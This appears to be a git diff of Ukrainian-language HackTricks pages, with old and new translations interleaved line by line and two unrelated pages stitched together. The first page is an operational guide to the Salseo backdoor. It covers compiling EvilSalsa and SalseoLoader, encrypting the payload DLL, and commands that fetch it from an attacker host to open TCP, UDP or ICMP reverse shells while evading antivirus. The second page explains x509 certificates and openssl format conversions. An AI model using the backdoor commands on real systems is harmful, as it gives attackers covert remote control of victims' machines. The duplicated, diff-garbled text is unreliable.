Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Компіляція бінарних файлів
## Compiling the binaries
Завантажте вихідний код з GitHub та скомпілюйте **EvilSalsa** та **SalseoLoader**. Вам потрібно мати встановлений **Visual Studio**, щоб скомпілювати код.
Завантажте вихідний код з github і скомпілюйте **EvilSalsa** та **SalseoLoader**. Вам потрібно буде встановити **Visual Studio** для компіляції коду.
Скомпілюйте ці проекти для архітектури віконного ящика, де ви плануєте їх використовувати (якщо Windows підтримує x64, скомпілюйте їх для цієї архітектури).
Скомпіліруйте ці проекти для архітектури віконного комп'ютера, на якому ви будете їх використовувати (якщо Windows підтримує x64, скомпіліруйте їх для цієї архітектури).
Ви можете **вибрати архітектуру** всередині Visual Studio в **лівій вкладці "Build"** в **"Platform Target".**
Ви можете **вибрати архітектуру** в Visual Studio у **лівій вкладці "Build"** у **"Platform Target".**
(\*\*Якщо ви не можете знайти ці параметри, натисніть на **"Project Tab"**, а потім на **"\<Project Name> Properties"**)
(\*\*Якщо ви не можете знайти ці опції, натисніть на **"Project Tab"** і потім на **"\<Project Name> Properties"**)
![](<../.gitbook/assets/image (132).png>)
![](<../.gitbook/assets/image (839).png>)
Потім скомпілюйте обидва проекти (Build -> Build Solution) (У логах з'явиться шлях до виконавчого файлу):
Потім збудуйте обидва проекти (Build -> Build Solution) (У логах з'явиться шлях до виконуваного файлу):
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
![](<../.gitbook/assets/image (381).png>)
## Підготовка Задніх Дверей
## Prepare the Backdoor
Спочатку вам потрібно закодувати **EvilSalsa.dll.** Для цього ви можете використати скрипт Python **encrypterassembly.py** або скомпілювати проект **EncrypterAssembly**:
По-перше, вам потрібно буде закодувати **EvilSalsa.dll.** Для цього ви можете використовувати python-скрипт **encrypterassembly.py** або скомпілювати проект **EncrypterAssembly**:
### **Python**
```
@ -44,110 +45,110 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Ок, тепер у вас є все необхідне для виконання всієї справи Salseo: **закодований EvilDalsa.dll** та **бінарний файл SalseoLoader.**
Добре, тепер у вас є все необхідне для виконання всіх Salseo речей: **закодований EvilDalsa.dll** та **бінарний файл SalseoLoader.**
**Завантажте бінарний файл SalseoLoader.exe на машину. Їх не повинно виявити жодне Антивірусне програмне забезпечення...**
**Завантажте бінарний файл SalseoLoader.exe на машину. Вони не повинні бути виявлені жодним AV...**
## **Виконання backdoor**
## **Виконання бекдору**
### **Отримання оберненого оболонкового з'єднання TCP (завантаження закодованого dll через HTTP)**
### **Отримання TCP зворотного шеллу (завантаження закодованого dll через HTTP)**
Не забудьте запустити nc як слухач оберненої оболонки та HTTP-сервер для обслуговування закодованого evilsalsa.
Не забудьте запустити nc як слухача зворотного шеллу та HTTP сервер для обслуговування закодованого evilsalsa.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **Отримання оберненого оболонки UDP (завантаження закодованого dll через SMB)**
### **Отримання UDP зворотного шеллу (завантаження закодованого dll через SMB)**
Не забудьте запустити nc як слухач оберненої оболонки та сервер SMB для обслуговування закодованого evilsalsa (impacket-smbserver).
Не забудьте запустити nc як прослуховувач зворотного шеллу та SMB сервер для надання закодованого evilsalsa (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **Отримання оберненого shell ICMP (закодований dll вже всередині жертви)**
### **Отримання ICMP зворотного шеллу (закодована dll вже всередині жертви)**
**На цей раз вам потрібен спеціальний інструмент на клієнті для отримання оберненого shell. Завантажте:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
**Цього разу вам потрібен спеціальний інструмент на клієнті для отримання зворотного шеллу. Завантажте:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Вимкніть відповіді ICMP:**
#### **Вимкнути ICMP відповіді:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Виконати клієнт:
#### Виконати клієнта:
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### У жертви виконайте річ сальсео:
#### Всередині жертви, давайте виконаємо salseo:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## Компіляція SalseoLoader як DLL, експортуючи головну функцію
## Компіляція SalseoLoader як DLL, що експортує основну функцію
Відкрийте проект SalseoLoader за допомогою Visual Studio.
### Додайте перед головною функцією: \[DllExport]
### Додайте перед основною функцією: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (409).png>)
### Встановіть DllExport для цього проекту
#### **Інструменти** --> **Менеджер пакетів NuGet** --> **Керування пакетами NuGet для рішення...**
#### **Інструменти** --> **Менеджер пакетів NuGet** --> **Керувати пакетами NuGet для рішення...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (881).png>)
#### **Пошук пакета DllExport (використовуючи вкладку Перегляд) та натисніть Встановити (і підтвердьте спливаюче вікно)**
#### **Шукайте пакет DllExport (використовуючи вкладку Перегляд) і натисніть Встановити (і прийміть спливаюче вікно)**
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (100).png>)
У папці вашого проекту з'явилися файли: **DllExport.bat** та **DllExport\_Configure.bat**
У вашій папці проекту з'явилися файли: **DllExport.bat** та **DllExport\_Configure.bat**
### **Де**інсталювати DllExport
### **В**идалити DllExport
Натисніть **Деінсталювати** (так, це дивно, але повірте мені, це необхідно)
Натисніть **Видалити** (так, це дивно, але повірте, це необхідно)
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
![](<../.gitbook/assets/image (97).png>)
### **Вийдіть з Visual Studio та виконайте DllExport\_configure**
Просто **вийдіть** з Visual Studio
Потім перейдіть до вашої папки **SalseoLoader** та **виконайте DllExport\_Configure.bat**
Потім перейдіть до вашої **папки SalseoLoader** і **виконайте DllExport\_Configure.bat**
Виберіть **x64** (якщо ви збираєтеся використовувати його в середовищі x64, як у моєму випадку), виберіть **System.Runtime.InteropServices** (в межах **Простору імен для DllExport**) та натисніть **Застосувати**
Виберіть **x64** (якщо ви плануєте використовувати його всередині x64 системи, це був мій випадок), виберіть **System.Runtime.InteropServices** (всередині **Namespace для DllExport**) і натисніть **Застосувати**
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (882).png>)
### **Відкрийте проект знову за допомогою Visual Studio**
### **Відкрийте проект знову у Visual Studio**
**\[DllExport]** більше не повинен бути позначений як помилка
**\[DllExport]** більше не повинно позначатися як помилка
![](<../.gitbook/assets/image (8) (1).png>)
![](<../.gitbook/assets/image (670).png>)
### Побудуйте рішення
### Зберіть рішення
Виберіть **Тип виводу = Бібліотека класів** (Проект --> Властивості SalseoLoader --> Додаток --> Тип виводу = Бібліотека класів)
Виберіть **Тип виходу = Бібліотека класів** (Проект --> Властивості SalseoLoader --> Застосування --> Тип виходу = Бібліотека класів)
![](<../.gitbook/assets/image (10) (1).png>)
![](<../.gitbook/assets/image (847).png>)
Виберіть **платформу x64** (Проект --> Властивості SalseoLoader --> Збірка --> Ціль платформи = x64)
Виберіть **платформу x64** (Проект --> Властивості SalseoLoader --> Збірка --> Цільова платформа = x64)
![](<../.gitbook/assets/image (9) (1) (1).png>)
![](<../.gitbook/assets/image (285).png>)
Для **побудови** рішення: Build --> Build Solution (У консолі виводу з'явиться шлях до нового DLL)
Щоб **зібрати** рішення: Збірка --> Зібрати рішення (в консолі виходу з'явиться шлях до нової DLL)
### Протестуйте згенерований Dll
### Тестуйте згенеровану DLL
Скопіюйте та вставте Dll туди, де ви хочете його протестувати.
Скопіюйте та вставте DLL туди, де ви хочете її протестувати.
Виконайте:
```
rundll32.exe SalseoLoader.dll,main
```
Якщо помилка не виникає, ймовірно, у вас є функціональний DLL!!
Якщо помилка не з'являється, ймовірно, у вас є функціональний DLL!!
## Отримати оболонку, використовуючи DLL
Не забудьте використовувати **HTTP** **сервер** та встановити **nc** **слухача**
Не забудьте використовувати **HTTP** **сервер** і налаштувати **nc** **слухача**
### Powershell
```
@ -158,8 +159,6 @@ $env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
### CMD
```
set pass=password
@ -169,16 +168,17 @@ set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,58 +1,59 @@
# Сертифікати
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) для легкого створення та **автоматизації робочих процесів**, підтримуваних найсучаснішими інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
## Що таке сертифікат
**Сертифікат публічного ключа** - це цифровий ідентифікатор, який використовується в криптографії для підтвердження того, що хтось володіє публічним ключем. Він містить деталі ключа, ідентичність власника (суб'єкт) та цифровий підпис від довіреної авторитетності (видавця). Якщо програмне забезпечення довіряє видавцю та підпис є дійсним, можлива безпечна комунікація з власником ключа.
**Публічний ключовий сертифікат** — це цифровий ID, що використовується в криптографії для підтвердження того, що хтось володіє публічним ключем. Він містить деталі ключа, ідентичність власника (суб'єкт) та цифровий підпис від довіреного органу (видавця). Якщо програмне забезпечення довіряє видавцю, а підпис дійсний, можливе безпечне спілкування з власником ключа.
Сертифікати в основному видавати [сертифікатними органами](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) в налаштуванні [інфраструктури з відкритим ключем](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Іншим методом є [мережа довіри](https://en.wikipedia.org/wiki/Web\_of\_trust), де користувачі безпосередньо перевіряють ключі один одного. Загальним форматом для сертифікатів є [X.509](https://en.wikipedia.org/wiki/X.509), який може бути адаптований для конкретних потреб, як описано в RFC 5280.
Сертифікати в основному видаються [сертифікаційними центрами](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) в рамках [інфраструктури відкритих ключів](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Інший метод — це [мережа довіри](https://en.wikipedia.org/wiki/Web\_of\_trust), де користувачі безпосередньо перевіряють ключі один одного. Загальний формат для сертифікатів — [X.509](https://en.wikipedia.org/wiki/X.509), який може бути адаптований для специфічних потреб, як зазначено в RFC 5280.
## Загальні поля x509
### **Загальні поля в сертифікатах x509**
У сертифікатах x509 кілька **полів** відіграють важливу роль у забезпеченні валідності та безпеки сертифіката. Ось розбір цих полів:
У сертифікатах x509 кілька **полів** відіграють критичну роль у забезпеченні дійсності та безпеки сертифіката. Ось розподіл цих полів:
* **Номер версії** вказує версію формату x509.
* **Серійний номер** унікально ідентифікує сертифікат у системі Сертифікаційного органу (CA), головним чином для відстеження відкликання.
* Поле **Суб'єкт** представляє власника сертифіката, яким може бути машина, фізична особа або організація. Воно включає детальну ідентифікацію, таку як:
* **Загальне ім'я (CN)**: Домени, які охоплюються сертифікатом.
* **Країна (C)**, **Місцевість (L)**, **Штат або провінція (ST, S, або P)**, **Організація (O)** та **Організаційна одиниця (OU)** надають географічні та організаційні відомості.
* **Виділений ім'я (DN)** укладає повну ідентифікацію суб'єкта.
* **Видавець** вказує, хто перевірив та підписав сертифікат, включаючи схожі підполя, як у Суб'єкта для CA.
* **Період валідності** позначений мітками **Не раніше** та **Не пізніше**, що гарантує, що сертифікат не використовується до або після певної дати.
* Розділ **Публічний ключ**, важливий для безпеки сертифіката, вказує алгоритм, розмір та інші технічні деталі публічного ключа.
* **Розширення x509v3** покращують функціональність сертифіката, вказуючи **Використання ключа**, **Розширене використання ключа**, **Альтернативне ім'я суб'єкта** та інші властивості для налаштування застосування сертифіката.
* **Номер версії** позначає версію формату x509.
* **Серійний номер** унікально ідентифікує сертифікат у системі сертифікаційного центру (CA), головним чином для відстеження анулювання.
* Поле **Суб'єкт** представляє власника сертифіката, яким може бути машина, особа або організація. Воно містить детальну ідентифікацію, таку як:
* **Загальна назва (CN)**: домени, охоплені сертифікатом.
* **Країна (C)**, **Місцевість (L)**, **Штат або провінція (ST, S або P)**, **Організація (O)** та **Організаційна одиниця (OU)** надають географічні та організаційні деталі.
* **Виділене ім'я (DN)** охоплює повну ідентифікацію суб'єкта.
* **Видавець** вказує, хто перевірив і підписав сертифікат, включаючи подібні підполя, як у Суб'єкта для CA.
* **Період дійсності** позначається часовими мітками **Не раніше** та **Не пізніше**, що забезпечує, щоб сертифікат не використовувався до або після певної дати.
* Розділ **Публічний ключ**, критично важливий для безпеки сертифіката, вказує алгоритм, розмір та інші технічні деталі публічного ключа.
* **Розширення x509v3** покращують функціональність сертифіката, вказуючи **Використання ключа**, **Розширене використання ключа**, **Альтернативне ім'я суб'єкта** та інші властивості для точного налаштування застосування сертифіката.
#### **Використання ключа та розширення**
* **Використання ключа** ідентифікує криптографічні застосування публічного ключа, такі як цифровий підпис або шифрування ключа.
* **Розширене використання ключа** додатково уточнює випадки використання сертифіката, наприклад, для аутентифікації сервера TLS.
* **Альтернативне ім'я суб'єкта** та **Основний обмеження** визначають додаткові імена хостів, які охоплюються сертифікатом, та чи це сертифікат CA чи кінцевого суб'єкта, відповідно.
* **Розширене використання ключа** ще більше звужує випадки використання сертифіката, наприклад, для аутентифікації сервера TLS.
* **Альтернативне ім'я суб'єкта** та **Основна обмеження** визначають додаткові імена хостів, охоплені сертифікатом, та чи є це сертифікатом CA або кінцевого суб'єкта відповідно.
* Ідентифікатори, такі як **Ідентифікатор ключа суб'єкта** та **Ідентифікатор ключа авторитету**, забезпечують унікальність та відстежуваність ключів.
* **Доступ до інформації про авторитет** та **Точки розподілу списків відкликання** надають шляхи для перевірки видавця CA та перевірки статусу відкликання сертифіката.
* **CT Precertificate SCTs** пропонують журнали прозорості, важливі для громадської довіри до сертифіката.
* **Доступ до інформації про авторитет** та **Точки розподілу CRL** надають шляхи для перевірки видавця CA та перевірки статусу анулювання сертифіката.
* **SCT сертифікатів CT** пропонують журнали прозорості, критично важливі для публічної довіри до сертифіката.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@ -74,122 +75,125 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **Різниця між точками розподілу OCSP та CRL**
### **Різниця між OCSP та CRL Distribution Points**
**OCSP** (**RFC 2560**) передбачає співпрацю клієнта та відповідача для перевірки скасування цифрового сертифіката з відкритим ключем без необхідності завантажувати повний **CRL**. Цей метод ефективніший, ніж традиційний **CRL**, який надає список скасованих серійних номерів сертифікатів, але вимагає завантаження потенційно великого файлу. CRL може містити до 512 записів. Додаткові відомості доступні [тут](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
**OCSP** (**RFC 2560**) передбачає співпрацю клієнта та респондента для перевірки, чи був відкликаний цифровий сертифікат з публічним ключем, без необхідності завантажувати повний **CRL**. Цей метод є більш ефективним, ніж традиційний **CRL**, який надає список серійних номерів відкликаних сертифікатів, але вимагає завантаження потенційно великого файлу. CRL можуть містити до 512 записів. Більше деталей доступно [тут](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
### **Що таке Transparent Certificate Transparency**
### **Що таке Прозорість Сертифікатів**
Transparent Certificate Transparency допомагає боротися з загрозами, пов'язаними з сертифікатами, забезпечуючи видимість видачі та існування SSL-сертифікатів власникам доменів, CAs та користувачам. Його цілі:
Прозорість сертифікатів допомагає боротися з загрозами, пов'язаними з сертифікатами, забезпечуючи видимість видачі та існування SSL сертифікатів для власників доменів, ЦС та користувачів. Її цілі:
* Запобігання CAs видавати SSL-сертифікати для домену без відома власника домену.
* Створення відкритої системи аудиту для відстеження помилково виданих або зловживаних сертифікатів.
* Запобігання видачі ЦС SSL сертифікатів для домену без відома власника домену.
* Встановлення відкритої системи аудиту для відстеження помилково або зловмисно виданих сертифікатів.
* Захист користувачів від шахрайських сертифікатів.
#### **Логи сертифікатів**
#### **Журнали Сертифікатів**
Логи сертифікатів є публічно перевіряемими, додаванням записів про сертифікати, які підтримуються мережевими службами. Ці логи надають криптографічні докази для аудиту. Як видачі організації, так і громадськість можуть надсилати сертифікати в ці логи або запитувати їх для перевірки. Хоча точна кількість серверів логу не фіксується, очікується, що їх буде менше тисячі глобально. Ці сервери можуть бути незалежно керовані CAs, постачальниками послуг Інтернету або будь-якою зацікавленою стороною.
Журнали сертифікатів є публічно доступними, підлягають аудиту, записами сертифікатів, які ведуться мережевими службами. Ці журнали надають криптографічні докази для цілей аудиту. Як органи видачі, так і громадськість можуть подавати сертифікати до цих журналів або запитувати їх для перевірки. Хоча точна кількість серверів журналів не є фіксованою, очікується, що їх буде менше тисячі в усьому світі. Ці сервери можуть незалежно управлятися ЦС, ISP або будь-якою зацікавленою стороною.
#### **Запит**
Щоб дослідити логи Transparent Certificate Transparency для будь-якого домену, відвідайте [https://crt.sh/](https://crt.sh).
Щоб дослідити журнали Прозорості Сертифікатів для будь-якого домену, відвідайте [https://crt.sh/](https://crt.sh).
Існують різні формати для зберігання сертифікатів, кожен з яких має свої випадки використання та сумісність. Це резюме охоплює основні формати та надає рекомендації щодо конвертації між ними.
## **Формати**
### **Формат PEM**
### **PEM Формат**
* Найбільш поширений формат для сертифікатів.
* Вимагає окремих файлів для сертифікатів та приватних ключів, закодованих у Base64 ASCII.
* Загальні розширення: .cer, .crt, .pem, .key.
* В основному використовується Apache та подібними серверами.
* Переважно використовується Apache та подібними серверами.
### **Формат DER**
### **DER Формат**
* Бінарний формат сертифікатів.
* Відсутні "ПОЧАТОК/КІНЕЦЬ СЕРТИФІКАТА" у заявках PEM.
* Не містить "BEGIN/END CERTIFICATE" заяв, які є у PEM файлах.
* Загальні розширення: .cer, .der.
* Часто використовується з платформами Java.
### **Формат P7B/PKCS#7**
### **P7B/PKCS#7 Формат**
* Зберігається у Base64 ASCII, з розширеннями .p7b або .p7c.
* Містить лише сертифікати та ланцюжкові сертифікати, за винятком приватного ключа.
* Містить лише сертифікати та ланцюгові сертифікати, виключаючи приватний ключ.
* Підтримується Microsoft Windows та Java Tomcat.
### **Формат PFX/P12/PKCS#12**
### **PFX/P12/PKCS#12 Формат**
* Бінарний формат, який упаковує серверні сертифікати, проміжні сертифікати та приватні ключі в один файл.
* Бінарний формат, який інкапсулює серверні сертифікати, проміжні сертифікати та приватні ключі в одному файлі.
* Розширення: .pfx, .p12.
* Головним чином використовується в Windows для імпорту та експорту сертифікатів.
* Переважно використовується на Windows для імпорту та експорту сертифікатів.
### **Конвертація форматів**
### **Конвертація Форматів**
**Конвертації PEM** є важливими для сумісності:
**Конверсії PEM** є важливими для сумісності:
* **x509 до PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
* **PEM у DER**
* **PEM до DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
* **DER у PEM**
* **DER до PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
* **PEM у P7B**
* **PEM до P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
* **PKCS7 у PEM**
* **PKCS7 до PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**Конвертація PFX** є важливою для керування сертифікатами в Windows:
**PFX конверсії** є критично важливими для управління сертифікатами на Windows:
* **PFX в PEM**
* **PFX до PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
* **PFX до PKCS#8** включає два кроки:
1. Конвертувати PFX у PEM
* **PFX до PKCS#8** включає два етапи:
1. Конвертувати PFX в PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Конвертувати PEM у PKCS8
2. Перетворення PEM в PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
* **P7B в PFX** також потребує дві команди:
* **P7B до PFX** також вимагає двох команд:
1. Конвертувати P7B в CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Конвертувати CER та приватний ключ в PFX
2. Перетворення CER та приватного ключа в PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
***
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів**, які працюють за допомогою найбільш **продвинутих** інструментів у спільноті.\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates), щоб легко створювати та **автоматизувати робочі процеси**, які підтримуються **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у PDF-форматі**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
